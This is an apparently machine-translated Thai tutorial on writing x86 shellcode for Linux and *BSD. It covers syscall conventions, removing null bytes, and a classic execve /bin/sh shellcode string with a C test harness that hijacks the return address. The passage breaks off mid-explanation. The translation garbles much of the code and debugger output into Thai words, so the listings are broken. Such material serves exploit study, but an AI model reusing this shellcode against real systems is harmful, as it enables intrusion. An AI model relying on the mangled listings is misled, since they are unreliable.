รหัสเชลล์คืออะไร? ไวรัสสำหรับลินุกซ์ เรียนรู้การเขียนเชลล์โค้ด วิธีเรียกใช้เชลล์โค้ดในหน่วยความจำ
Shellcode เป็นโค้ดส่วนหนึ่งที่สร้างไว้ในโปรแกรมที่เป็นอันตราย ซึ่งหลังจากติดไวรัสในระบบเป้าหมายของเหยื่อแล้ว สามารถรับโค้ดเชลล์คำสั่ง เช่น /bin/bash ในระบบปฏิบัติการที่คล้ายกับ UNIX, command.com ใน MS-DOS หน้าจอสีดำ และ cmd .exe ในยุคปัจจุบัน ระบบปฏิบัติการ ไมโครซอฟต์ วินโดวส์- บ่อยครั้งที่เชลล์โค้ดถูกใช้เป็นเพย์โหลดการหาประโยชน์
เชลล์โค้ด
เหตุใดจึงจำเป็น?
ตามที่คุณเข้าใจ การแพร่ระบาดในระบบ ใช้ประโยชน์จากช่องโหว่ หรือปิดใช้งานบริการของระบบบางอย่างนั้นไม่เพียงพอ การดำเนินการทั้งหมดเหล่านี้ในหลายกรณีมีจุดมุ่งหมายเพื่อให้ผู้ดูแลระบบสามารถเข้าถึงเครื่องที่ติดไวรัสได้
ดังนั้นมัลแวร์จึงเป็นเพียงวิธีหนึ่งในการเข้าถึงเครื่องและรับเชลล์ซึ่งก็คือการควบคุม และนี่คือเส้นทางโดยตรงสู่การรั่วไหลของข้อมูลที่เป็นความลับ การสร้างเครือข่ายบ็อตเน็ตที่เปลี่ยนระบบเป้าหมายให้กลายเป็นซอมบี้ หรือเพียงแค่ทำหน้าที่ทำลายล้างอื่นๆ บนเครื่องที่ถูกแฮ็ก
โดยทั่วไปแล้วเชลล์โค้ดจะถูกฉีดเข้าไปในหน่วยความจำของโปรแกรมโฮสต์ หลังจากนั้นการควบคุมจะถูกถ่ายโอนไปยังโปรแกรมโดยการหาประโยชน์จากจุดบกพร่อง เช่น สแต็กโอเวอร์โฟลว์ หรือบัฟเฟอร์โอเวอร์โฟลว์แบบฮีป หรือโดยการใช้การโจมตีสตริงรูปแบบ
การควบคุมถูกถ่ายโอนไปยังเชลล์โค้ดโดยการเขียนทับที่อยู่ผู้ส่งคืนบนสแต็กด้วยที่อยู่ของเชลล์โค้ดที่ฝังไว้ เขียนทับที่อยู่ของฟังก์ชันที่ถูกเรียก หรือการเปลี่ยนตัวจัดการการขัดจังหวะ ผลลัพธ์ทั้งหมดนี้จะเป็นการดำเนินการของเชลล์โค้ดที่เปิดขึ้น บรรทัดคำสั่งเพื่อใช้งานโดยผู้โจมตี
เมื่อใช้ประโยชน์จากช่องโหว่ระยะไกล (นั่นคือการหาประโยชน์) เชลล์โค้ดสามารถเปิดได้ คอมพิวเตอร์ที่มีช่องโหว่พอร์ต TCP ที่กำหนดไว้ล่วงหน้าเพิ่มเติม การเข้าถึงระยะไกลไปยังเชลล์คำสั่ง รหัสนี้เรียกว่าเชลล์โค้ดการเชื่อมโยงพอร์ต
หากเชลล์โค้ดเชื่อมต่อกับพอร์ตของคอมพิวเตอร์ของผู้โจมตี (เพื่อวัตถุประสงค์ในการเลี่ยงผ่านหรือรั่วไหลผ่าน NAT) โค้ดดังกล่าวจะเรียกว่าโค้ดเชลล์ย้อนกลับ
วิธีเรียกใช้เชลล์โค้ดในหน่วยความจำ
มีสองวิธีในการรันเชลล์โค้ดในหน่วยความจำเพื่อดำเนินการ:
- วิธีรหัสที่ไม่ขึ้นกับตำแหน่ง (PIC) คือรหัสที่ใช้การเชื่อมโยงแบบเข้มงวดของรหัสไบนารี่ (นั่นคือ รหัสที่จะดำเนินการในหน่วยความจำ) กับที่อยู่หรือข้อมูลเฉพาะ เชลล์โค้ดนั้นเป็น PIC โดยพื้นฐานแล้ว เหตุใดการผูกแน่นจึงสำคัญมาก? เชลล์ไม่ทราบแน่ชัดว่าอยู่ที่ไหน แรมจะตั้งอยู่เพราะในขณะรันไทม์ รุ่นที่แตกต่างกันของโปรแกรมหรือมัลแวร์ที่ถูกบุกรุก พวกเขาสามารถโหลดเชลล์โค้ดลงในเซลล์หน่วยความจำที่แตกต่างกันได้
- วิธีการระบุตำแหน่งการดำเนินการต้องใช้เชลล์โค้ดในการอ้างอิงตัวชี้ที่ซ่อนอยู่เมื่อเข้าถึงข้อมูลในโครงสร้างหน่วยความจำที่ไม่ขึ้นกับตำแหน่ง การเพิ่ม (เพิ่ม) หรือการลบ (ลด) ค่าจากตัวชี้พื้นฐานช่วยให้คุณเข้าถึงข้อมูลที่รวมอยู่ในเชลล์โค้ดได้อย่างปลอดภัย
นิตยสาร FreeBSD, 09.2010
รหัสเชลล์คือลำดับคำสั่งเครื่องที่สามารถใช้ได้ โปรแกรมที่กำลังรันอยู่อาจถูกบังคับให้ทำอย่างอื่นแทน เมื่อใช้วิธีการนี้ คุณสามารถใช้ประโยชน์จากช่องโหว่ของซอฟต์แวร์บางอย่างได้ (เช่น สแต็กโอเวอร์โฟลว์ ฮีปโอเวอร์โฟลว์ ช่องโหว่ของสตริงรูปแบบ)
ตัวอย่างของโค้ดเชลล์ที่อาจมีลักษณะดังนี้:
ถ่านเชลล์โค้ด = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";โดยทั่วไปแล้ว นี่คือลำดับของไบต์ในภาษาเครื่อง วัตถุประสงค์ของเอกสารนี้คือเพื่อทบทวนเทคนิคทั่วไปในการพัฒนาโค้ดเชลล์สำหรับระบบ Linux และ *BSD ที่ทำงานบนสถาปัตยกรรม x86
ด้วยการค้นหาในเว็บ คุณสามารถค้นหาตัวอย่างเชลล์โค้ดสำเร็จรูปได้อย่างง่ายดาย ซึ่งคุณเพียงแค่ต้องคัดลอกและวางในตำแหน่งที่ถูกต้อง ทำไมต้องศึกษาการพัฒนาของมัน? ในความคิดของฉัน มีเหตุผลที่ดีอย่างน้อยสองสามข้อ:
ประการแรก การเรียนรู้เกี่ยวกับภายในของบางสิ่งบางอย่างมักเป็นความคิดที่ดีก่อนที่จะใช้งาน ซึ่งจะช่วยหลีกเลี่ยงเรื่องไม่คาดคิด (ปัญหานี้จะมีการหารือในภายหลังที่ http://www.kernel-panic.it/security/shellcode/shellcode6 .html ใน รายละเอียด);
ประการที่สอง โปรดจำไว้ว่าโค้ดเชลล์สามารถทำงานได้ในสภาพแวดล้อมที่แตกต่างกันอย่างสิ้นเชิง เช่น ตัวกรองอินพุต-เอาต์พุต พื้นที่การจัดการสตริง IDS และเป็นประโยชน์ที่จะจินตนาการว่าจะต้องแก้ไขอย่างไรเพื่อให้เหมาะสมกับเงื่อนไข
นอกจากนี้ แนวคิดในการหาประโยชน์จากช่องโหว่จะช่วยให้คุณเขียนโปรแกรมที่ปลอดภัยยิ่งขึ้น
ขั้นต่อไป การรู้จักแอสเซมเบลอร์สำหรับสถาปัตยกรรม IA-32 จะมีประโยชน์ เนื่องจากเราจะกล่าวถึงหัวข้อต่างๆ เช่น การใช้งานรีจิสเตอร์ การกำหนดแอดเดรสหน่วยความจำ และหัวข้ออื่นๆ ที่คล้ายกัน ไม่ว่าในกรณีใด ในตอนท้ายของบทความจะมีสื่อจำนวนมากที่เป็นประโยชน์สำหรับการเรียนรู้หรือรีเฟรชหน่วยความจำข้อมูลพื้นฐานเกี่ยวกับการเขียนโปรแกรมภาษาแอสเซมบลี จำเป็นต้องมีความรู้พื้นฐานเกี่ยวกับ Linux และ *BSD ด้วย
การเรียกระบบ Linux
แม้ว่าตามหลักการแล้ว โค้ดเชลล์จะสามารถทำอะไรก็ได้ แต่จุดประสงค์หลักของการรันโค้ดคือเพื่อเข้าถึง command interterter (เชลล์) บนเครื่องเป้าหมาย โดยเฉพาะอย่างยิ่งในโหมดสิทธิพิเศษ ซึ่งเป็นที่มาของชื่อโค้ดเชลล์
วิธีที่ง่ายและตรงที่สุดในการทำงานที่ซับซ้อนในภาษาแอสเซมบลีคือการใช้การเรียกของระบบ การเรียกของระบบจัดให้มีส่วนต่อประสานระหว่างพื้นที่ผู้ใช้และพื้นที่เคอร์เนล กล่าวอีกนัยหนึ่ง มันเป็นวิธีการสำหรับโปรแกรมผู้ใช้ในการรับบริการจากบริการเคอร์เนล นี่คือวิธีที่การจัดการเกิดขึ้น ระบบไฟล์มีการเปิดตัวกระบวนการใหม่ จัดให้มีการเข้าถึงอุปกรณ์ และอื่นๆ
ดังที่แสดงในรายการ 1 การเรียกระบบถูกกำหนดไว้ในไฟล์ /usr/src/linux/include/asmi386/unistd.h โดยแต่ละรายการมีตัวเลข
มีสองวิธีมาตรฐานในการใช้การเรียกของระบบ:
เปิดใช้งานซอฟต์แวร์ขัดจังหวะ 0x80;
- การเรียกใช้ฟังก์ชัน wrapper จาก libc
วิธีแรกนั้นพกพาได้ง่ายกว่าเนื่องจากสามารถใช้ได้กับอะไรก็ได้ การกระจายลินุกซ์(กำหนดโดยรหัสเคอร์เนล) วิธีที่สองพกพาได้น้อยกว่าเพราะถูกกำหนดโดยโค้ดไลบรารีมาตรฐาน
int0x80
มาดูวิธีแรกกันดีกว่า เมื่อโปรเซสเซอร์ได้รับการขัดจังหวะ 0x80 จะเข้าสู่โหมดเคอร์เนลและดำเนินการฟังก์ชันที่ร้องขอ โดยรับตัวจัดการที่ต้องการจากตารางตัวอธิบายการขัดจังหวะ ต้องกำหนดหมายเลขการโทรของระบบใน EAX ซึ่งท้ายที่สุดแล้วจะมีค่าที่ส่งคืน ในทางกลับกัน อาร์กิวเมนต์ของฟังก์ชันต้องมีจำนวนไม่เกินหกรายการใน EBX, ECX, EDX, ESI, EDI และ EBP ตามลำดับและเฉพาะจำนวนรีจิสเตอร์ที่ต้องการเท่านั้น ไม่ใช่ทั้งหมด หากฟังก์ชันต้องการอาร์กิวเมนต์มากกว่าหกข้อ คุณต้องใส่อาร์กิวเมนต์เหล่านั้นไว้ในโครงสร้างและจัดเก็บตัวชี้ไปยังองค์ประกอบแรกใน EBX
ควรจำไว้ว่าเคอร์เนล Linux ก่อนหน้า 2.4 ไม่ได้ใช้รีจิสเตอร์ EBP เพื่อส่งผ่านอาร์กิวเมนต์ ดังนั้นจึงสามารถส่งผ่านอาร์กิวเมนต์ได้เพียงห้าอาร์กิวเมนต์ผ่านรีจิสเตอร์
หลังจากจัดเก็บหมายเลขการเรียกของระบบและพารามิเตอร์ในรีจิสเตอร์ที่เหมาะสมแล้ว จะเรียกว่าอินเทอร์รัปต์ 0x80: โปรเซสเซอร์เข้าสู่โหมดเคอร์เนล ดำเนินการการเรียกของระบบ และถ่ายโอนการควบคุมไปยังกระบวนการผู้ใช้ ในการสร้างสถานการณ์นี้ขึ้นมาใหม่ คุณต้องมี:
สร้างโครงสร้างในหน่วยความจำที่มีพารามิเตอร์การเรียกของระบบ
- บันทึกตัวชี้ไปยังอาร์กิวเมนต์แรกใน EBX;
- รันซอฟต์แวร์ขัดจังหวะ 0x80
ตัวอย่างที่ง่ายที่สุดจะประกอบด้วยการเรียกระบบ exit(2) แบบคลาสสิก จากไฟล์ /usr/src/linux/include/asm-i386/unistd.h เราพบหมายเลขของมัน: 1. man page จะบอกเราว่ามีอาร์กิวเมนต์ที่จำเป็น (สถานะ) เพียงอาร์กิวเมนต์เดียวเท่านั้น ดังที่แสดงในรายการ 2
เราจะบันทึกไว้ในทะเบียน EBX ดังนั้นจึงจำเป็นต้องมีคำแนะนำต่อไปนี้:
exit.asm mov eax, 1 ; จำนวน _exit(2) syscall mov ebx, 0 ; สถานะ int 0x80 ; ขัดจังหวะ 0x80libc
ตามที่กล่าวไว้อีกประการหนึ่ง วิธีการมาตรฐานคือการใช้ฟังก์ชัน C เรามาดูวิธีการทำโดยใช้โปรแกรม C อย่างง่ายเป็นตัวอย่าง:
คุณเพียงแค่ต้องรวบรวมมัน:
$ gcc -o ทางออก exit.cลองแยกชิ้นส่วนโดยใช้ gdb เพื่อให้แน่ใจว่าใช้การเรียกระบบเดียวกัน (รายการ 3)
รายการ 3. การแยกส่วนโปรแกรมทางออกโดยใช้ดีบักเกอร์ gdb$ gdb ./exit GNU gdb 6.1-debian ลิขสิทธิ์ 2004 Free Software Foundation, Inc. GDB เป็นซอฟต์แวร์ฟรีที่ได้รับการคุ้มครองโดย GNU General Public License และคุณสามารถเปลี่ยนแปลงและ/หรือแจกจ่ายสำเนาของซอฟต์แวร์ได้ภายใต้เงื่อนไขบางประการ พิมพ์ "แสดงการคัดลอก" เพื่อดูเงื่อนไข ไม่มีการรับประกันสำหรับ GDB อย่างแน่นอน พิมพ์ "แสดงการรับประกัน" เพื่อดูรายละเอียด GDB นี้ได้รับการกำหนดค่าเป็น "i386-linux"...โดยใช้โฮสต์ libthread_db ไลบรารี่ "/lib/ libthread_db.so.1" (gdb) แบ่งเบรกพอยต์หลัก 1 ที่ 0x804836a (gdb) รัน โปรแกรมเริ่มต้น: /ramdisk/var/tmp/exit เบรกพอยต์ 1, 0x0804836a ใน main () (gdb) disas main ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน main: 0x08048364: กด %ebp 0x08048365: mov %esp,%ebp 0x08048367: ย่อย $0x8,%esp 0x0804836a: และ $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 0x08048372: ย่อย %eax,%esp 0x08048374: mov l $0x0,(% โดยเฉพาะ ) 0x0804837b: โทร 0x8048284 สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (จีดีบี) |
ฟังก์ชั่นสุดท้ายใน main() คือการเรียกร้องให้ exit(3) ต่อไปเราจะเห็นว่า exit(3) ในทางกลับกันเรียก _exit(2) ซึ่งเรียกการเรียกของระบบ รวมถึงการขัดจังหวะ 0x80 รายการ 4
รายการ 4. การโทรระบบ(gdb) disas exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับการออกจากฟังก์ชัน: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: โทร 0x400ced9c<_exit>[...] สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (gdb) disas _exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19> |
ดังนั้นเชลล์โค้ดที่ใช้ libc จะเรียกการเรียกของระบบ _exit(2) ทางอ้อม:
กด dword 0 ; สถานะการโทร 0x8048284 ; เรียกใช้ฟังก์ชัน libc exit() ;(ที่อยู่ที่ได้รับจากการถอดชิ้นส่วนด้านบน) เพิ่ม esp, 4 ; ทำความสะอาดสแต็ก* การโทรระบบ BSD
ในตระกูล *BSD การเรียกของระบบดูแตกต่างออกไปเล็กน้อย การเรียกทางอ้อม (โดยใช้ที่อยู่ฟังก์ชัน libc) ไม่ได้สร้างความแตกต่าง
หมายเลขการโทรของระบบแสดงอยู่ในไฟล์ /usr/src/sys/kern/syscalls.master ไฟล์นี้ยังมีฟังก์ชันต้นแบบอยู่ด้วย รายการที่ 5 แสดงจุดเริ่มต้นของไฟล์ใน OpenBSD:
บรรทัดแรกประกอบด้วยหมายเลขโทรศัพท์ของระบบ บรรทัดที่สองคือประเภทของหมายเลขนั้น บรรทัดที่สามคือต้นแบบฟังก์ชัน ต่างจาก Linux ตรงที่การเรียกระบบ *BSD ไม่ได้ใช้หลักการเรียกแบบเร็วในการพุชอาร์กิวเมนต์ไปยังรีจิสเตอร์ แต่ใช้สไตล์ C ในการพุชอาร์กิวเมนต์ลงบนสแต็กแทน ข้อโต้แย้งถูกวางไว้ใน ลำดับย้อนกลับโดยเริ่มจากอันขวาสุดเพื่อให้ดึงข้อมูลมาในลำดับที่ถูกต้อง ทันทีหลังจากกลับจากการเรียกของระบบ สแต็กจะต้องถูกล้างโดยการวางจำนวนไบต์เท่ากับความยาวของอาร์กิวเมนต์ทั้งหมดลงในตัวชี้ออฟเซ็ตสแต็ก (หรือพูดง่ายๆ ก็คือโดยการเพิ่มไบต์เท่ากับจำนวนอาร์กิวเมนต์คูณด้วย 4) . บทบาทของรีจิสเตอร์ EAX นั้นเหมือนกับใน Linux โดยมีจำนวนการเรียกของระบบ และท้ายที่สุดจะมีค่าที่ส่งคืน
ดังนั้นจึงมีสี่ขั้นตอนที่จำเป็นในการดำเนินการเรียกระบบ:
การจัดเก็บหมายเลขโทรศัพท์ใน EAX;
- วางข้อโต้แย้งในลำดับย้อนกลับบนสแต็ก
- การดำเนินการของซอฟต์แวร์ขัดจังหวะ 0x80;
- การเคลียร์สแต็ค
ตัวอย่าง Linux ที่แปลงเป็น *BSD จะมีลักษณะดังนี้:
exit_BSD.asm mov eax, 1 ; หมายเลข Syscall กด dword 0 ; rval ดัน eax ; ดัน อีกหนึ่ง dword (ดูด้านล่าง) int 0x80 ; 0x80 ขัดจังหวะเพิ่ม esp, 8 ; ทำความสะอาดสแต็กการเขียนโค้ดเชลล์
ตัวอย่างต่อไปนี้ ออกแบบมาสำหรับ Linux สามารถปรับให้เข้ากับโลก *BSD ได้อย่างง่ายดาย เพื่อให้ได้โค้ดเชลล์ที่เสร็จสมบูรณ์ เราเพียงแค่ต้องได้รับ opcodes ที่สอดคล้องกับคำแนะนำในการประกอบ โดยทั่วไปจะใช้สามวิธีเพื่อรับ opcodes:
เขียนด้วยตนเอง (พร้อมเอกสารประกอบของ Intel อยู่ในมือ!);
- การเขียนโค้ดแอสเซมบลีแล้วแยก opcode
- เขียนโค้ดในภาษา C แล้วจึงแยกส่วน
ตอนนี้เรามาดูอีกสองวิธีที่เหลือ
ในการประกอบ
ขั้นตอนแรกคือการใช้โค้ดแอสเซมบลีจากตัวอย่าง exit.asm โดยใช้การเรียกระบบ _exit(2) ในการรับ opcodes เราใช้ nasm จากนั้นแยกชิ้นส่วนไบนารีที่ประกอบโดยใช้ objdump ดังแสดงในรายการ 6
คอลัมน์ที่สองประกอบด้วยรหัสเครื่องที่เราต้องการ ดังนั้นเราจึงสามารถเขียนโค้ดเชลล์แรกของเราและทดสอบโดยใช้โปรแกรม C ง่ายๆ ที่นำมาจาก http://www.phrack.org/
รายการ 7. ทดสอบ opcode sc_exit.c ถ่านเชลล์โค้ด = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; ) |
แม้ว่าแนวทางนี้จะได้รับความนิยม แต่รหัส C สำหรับโปรแกรมตรวจสอบอาจดูไม่ชัดเจนเพียงพอ อย่างไรก็ตาม มันเพียงแค่เขียนทับที่อยู่ของฟังก์ชัน main() ด้วยที่อยู่ของเชลล์โค้ดเพื่อวัตถุประสงค์ในการรันคำสั่งเชลล์โค้ดใน main() หลังจากคำสั่งแรก สแต็กจะพัฒนาดังนี้:
ที่อยู่ผู้ส่ง (วางโดยคำสั่ง CALL) ที่จะวางไว้ใน EIP เมื่อออก
- EBP ที่บันทึกไว้ (จะกู้คืนเมื่อออกจากฟังก์ชัน)
- ret (ตัวแปรท้องถิ่นตัวแรกในฟังก์ชัน main())
คำสั่งที่สองจะเพิ่มที่อยู่ของตัวแปร ret แปดไบต์ (สองคำ) เพื่อให้ได้ที่อยู่ของที่อยู่ผู้ส่ง นั่นคือ ตัวชี้ไปยังคำสั่งแรกที่จะดำเนินการใน main() ในที่สุด คำสั่งที่สามจะเขียนทับที่อยู่ด้วยที่อยู่เชลล์โค้ด ณ จุดนี้ โปรแกรมจะออกจาก main() กู้คืน EBP เก็บที่อยู่เชลล์โค้ดใน EIP และดำเนินการ หากต้องการดูการดำเนินการทั้งหมดนี้ คุณต้องคอมไพล์และรัน sc_exit.c:
$ gcc -o sc_exit sc_exit.c $ ./sc_exit $ฉันหวังว่าปากของคุณจะกว้างพอ เพื่อให้แน่ใจว่าโค้ดเชลล์ถูกดำเนินการ เพียงรันแอปพลิเคชันภายใต้ strace รายการ 8
รายการ 8. ทดสอบการติดตามแอปพลิเคชัน$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (ไม่มีไฟล์หรือไดเร็กทอรีดังกล่าว) เปิดอยู่ ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 ปิด (3) = 0 การเข้าถึง ("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (ไม่มีไฟล์หรือไดเร็กทอรีดังกล่าว) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 ปิด (3) = 0 munmap (0x40018000, 60420) = 0 _exit(0) = ? - |
บรรทัดสุดท้ายคือการเรียกไปยัง _exit(2) อย่างไรก็ตาม เมื่อดูโค้ดเชลล์แล้ว เราจะพบปัญหาเล็กน้อย: มันมีไบต์ว่างจำนวนมาก เนื่องจากโค้ดเชลล์มักถูกเขียนลงในบัฟเฟอร์สตริง ไบต์เหล่านี้จะไปอยู่ที่ตัวคั่นบรรทัดและการโจมตีจะล้มเหลว มีสองวิธีในการแก้ปัญหา:
เขียนคำสั่งที่ไม่มีไบต์เป็นศูนย์ (และไม่สามารถทำได้เสมอไป)
- เขียนโค้ดเชลล์เพื่อแก้ไขด้วยตนเอง โดยลบไบต์ null ออก เพื่อที่รันไทม์โค้ดจะเพิ่มไบต์ null โดยจัดแนวสตริงให้ตรงกับตัวคั่น
มาดูวิธีแรกกัน
คำสั่งแรก (mov ebx, 0) สามารถแก้ไขได้ให้เป็นเรื่องปกติมากขึ้น (ด้วยเหตุผลด้านประสิทธิภาพ):
คำสั่งที่สองประกอบด้วยเลขศูนย์เหล่านี้ทั้งหมดเนื่องจากใช้รีจิสเตอร์ 32 บิต (EAX) ซึ่งสร้าง 0x01 ซึ่งกลายเป็น 0x01000000 (ส่วนนิบเบิลอยู่ในลำดับย้อนกลับเนื่องจาก Intel® เป็นโปรเซสเซอร์ endian ตัวเล็ก) ดังนั้นเราจึงสามารถแก้ไขปัญหานี้ได้ง่ายๆ โดยใช้รีจิสเตอร์ 8 บิต (AL):
mov อัล, 1ตอนนี้โค้ดแอสเซมบลีของเรามีลักษณะดังนี้:
xor ebx, ebx mov อัล, 1 int 0x80และไม่มีไบต์ว่าง (รายการ 9)
รายการ 9. การตรวจสอบเชลล์โค้ด$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: รูปแบบไฟล์ elf32-i386 การแยกส่วน .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $ |
รายการ 10. ไบนารี Exit.c เปิดด้วย gdb$ gdb ./exit GNU gdb 6.1-debian ลิขสิทธิ์ 2004 Free Software Foundation, Inc. GDB เป็นซอฟต์แวร์ฟรีที่ได้รับการคุ้มครองโดย GNU General Public License และคุณสามารถเปลี่ยนแปลงและ/หรือแจกจ่ายสำเนาของซอฟต์แวร์ได้ภายใต้เงื่อนไขบางประการ พิมพ์ "แสดงการคัดลอก" เพื่อดูเงื่อนไข ไม่มีการรับประกันสำหรับ GDB อย่างแน่นอน พิมพ์ "แสดงการรับประกัน" เพื่อดูรายละเอียด GDB นี้ได้รับการกำหนดค่าเป็น "i386-linux"...โดยใช้โฮสต์ libthread_db ไลบรารี่ "/lib/ libthread_db.so.1" (gdb) แบ่งเบรกพอยต์หลัก 1 ที่ 0x804836a (gdb) รัน โปรแกรมเริ่มต้น: /ramdisk/var/tmp/exit เบรกพอยต์ 1, 0x0804836a ใน main () (gdb) disas _exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน _exit: 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nop สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (จีดีบี) |
อย่างที่คุณเห็น ฟังก์ชัน _exit(2) ใช้การเรียกระบบสองครั้ง: 0xfc (252), _exit_group(2) และ _exit(2) _exit_group(2) คล้ายกับ _exit(2) แต่จุดประสงค์คือเพื่อยุติเธรดทั้งหมดในกลุ่ม รหัสของเราต้องการการเรียกระบบครั้งที่สองเท่านั้น
มาแยก opcodes:
(gdb) x/4bx _ออก 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _ออก+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)เช่นเดียวกับในตัวอย่างก่อนหน้านี้ คุณจะต้องเอาชนะศูนย์ไบต์
รับคอนโซล
ถึงเวลาเขียนโค้ดเชลล์ที่จะช่วยให้คุณทำสิ่งที่มีประโยชน์มากขึ้นได้ ตัวอย่างเช่น เราสามารถสร้างโค้ดเพื่อเข้าถึงคอนโซลและออกจากระบบได้อย่างเรียบร้อยหลังจากวางไข่คอนโซล วิธีที่ง่ายที่สุดที่นี่คือการใช้การเรียกของระบบ execve(2) อย่าลืมดูที่หน้าคน รายการ 11
รายชื่อ 11. บุคคลที่ 2 ผู้บริหาร EXECVE(2) คู่มือโปรแกรมเมอร์ Linux EXECVE(2) NAME execve – รันโปรแกรม SYNOPSIS #include int execve(const char *filename, char *const argv , char *const envp); DESCRIPTION execve() รันโปรแกรมที่ชี้ไปที่ชื่อไฟล์ ชื่อไฟล์จะต้องเป็นไฟล์ปฏิบัติการแบบไบนารีหรือสคริปต์ที่ขึ้นต้นด้วยบรรทัดในรูปแบบ "#! ล่าม " ในกรณีหลัง ล่ามจะต้องเป็นชื่อพาธที่ถูกต้องสำหรับไฟล์เรียกทำงานซึ่งไม่ใช่สคริปต์ ซึ่งจะถูกเรียกใช้เป็นชื่อไฟล์ของล่าม argv คืออาร์เรย์ของสตริงอาร์กิวเมนต์ที่ส่งผ่านไปยังโปรแกรมใหม่ envp คืออาร์เรย์ ของสตริงตามอัตภาพเป็นสภาพแวดล้อมของโปรแกรมใหม่ ทั้ง argv และ envp จะต้องถูกยกเลิกโดยตัวชี้ null หลัก (int argc, ถ่าน *argv, ถ่าน *envp) - |
เราต้องผ่านการโต้แย้งสามข้อ:
ตัวชี้ไปยังชื่อของโปรแกรมที่จะดำเนินการ ในกรณีของเรา คือตัวชี้ไปยังบรรทัด /bin/sh;
- ตัวชี้ไปยังอาร์เรย์ของสตริงที่ส่งผ่านเป็นอาร์กิวเมนต์ของโปรแกรม อาร์กิวเมนต์แรกต้องเป็น argv นั่นคือชื่อของโปรแกรมเอง อาร์กิวเมนต์สุดท้ายจะต้องเป็นตัวชี้โมฆะ
- ตัวชี้ไปยังอาร์เรย์ของสตริงเพื่อส่งผ่านเป็นสภาพแวดล้อมของโปรแกรม โดยทั่วไปสตริงเหล่านี้จะได้รับในรูปแบบ key=value และองค์ประกอบสุดท้ายของอาร์เรย์จะต้องเป็นตัวชี้ค่าว่าง ใน C มีลักษณะดังนี้:
มารวมกันและดูว่ามันทำงานอย่างไร:
เอาล่ะ เราก็ได้เปลือกแล้ว ตอนนี้เรามาดูกันว่าการเรียกระบบนี้มีลักษณะอย่างไรในแอสเซมเบลอร์ (เนื่องจากเราใช้อาร์กิวเมนต์สามตัว เราจึงสามารถใช้รีจิสเตอร์แทนโครงสร้างได้) ปัญหาสองประการปรากฏชัดเจนทันที:
ปัญหาแรกเป็นที่ทราบแล้ว: เราไม่สามารถทิ้งไบต์ว่างไว้ในโค้ดเชลล์ได้ แต่ในกรณีนี้ อาร์กิวเมนต์คือสตริง (/bin/sh) ที่สิ้นสุดด้วยไบต์ว่าง และเราต้องผ่านตัวชี้ว่างสองตัวระหว่างข้อโต้แย้งเพื่อดำเนินการ (2)!
- ปัญหาที่สองคือการค้นหาที่อยู่ของบรรทัด การกำหนดแอดเดรสหน่วยความจำสัมบูรณ์นั้นยาก และจะทำให้โค้ดเชลล์ไม่สามารถพกพาได้จริงด้วย
